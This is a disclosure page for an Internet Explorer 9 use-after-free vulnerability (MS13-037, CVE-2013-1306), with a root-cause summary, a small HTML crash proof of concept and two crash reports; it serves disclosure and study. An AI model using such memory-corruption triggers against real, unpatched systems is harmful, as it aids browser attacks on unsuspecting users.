This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected.

MSIE 9 MSHTML CDisp­Node::Insert­Sibling­Node use-after-free

(MS13-037, CVE-2013-1306)

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software, attack vectors and potential mitigations

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. The EIP provided me with some details of their analysis, which I'll paraphrase here: It is a use-after-free vulnerability where the span object in the frame.html file is reused after being freed. It appears to be impossible to reallocate the freed memory before it is reused. Part of the freed memory is overwritten when it is freed because a WORD Free­Entry­Offset value is stored at offset 0. This value is then used as part of a pointer to a vftable in order to call a method. This pointer now consist of the upper 16-bits of the old vftable and the lower 16-bits contain the Free­Entry­Offset value. Exploitation is near impossible without a way to have more control over this pointer in the freed memory block. ZDI also did a more thorough analysis and provide very similar details in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html <html> <body onload="location.reload();"> <iframe src="Frame.html"></iframe> </body> </html> Frame.html <!doctype html> <html> <head> <style type="text/css"> .x{ display:table-caption; } .x:first-line{ text-transform:uppercase; } </style> </head> <body> <a> <span class="x"> <a> </a> </span> </a> </body> </html>

Time-line

Bug­Id report: Arbitrary AVR@MSHTML.dll!CTree­Node::Del­Lookaside­Ptr(of6M) This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
id:             Arbitrary AVR@MSHTML.dll!CTree­Node::Del­Lookaside­Ptr(of6M)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x18E30FA0) in MSHTML.dll!CTree­Node::Del­Lookaside­Ptr
note:           Based on this information, this is expected to be a security issue!
application:    MSIE 9.00.8112.16421 x64
Bug­Id report: Arbitrary AVR@MSHTML.dll!CTree­Node::Void­Cached­Node­Info(APRI) This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
id:             Arbitrary AVR@MSHTML.dll!CTree­Node::Void­Cached­Node­Info(APRI)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x12347FD0) in MSHTML.dll!CTree­Node::Void­Cached­Node­Info
note:           Based on this information, this is expected to be a security issue!
application:    MSIE 9.00.8112.16421 x86
© Copyright 2016 by Sky­Lined.
Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License.

Last updated on 2016-11-21.
If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.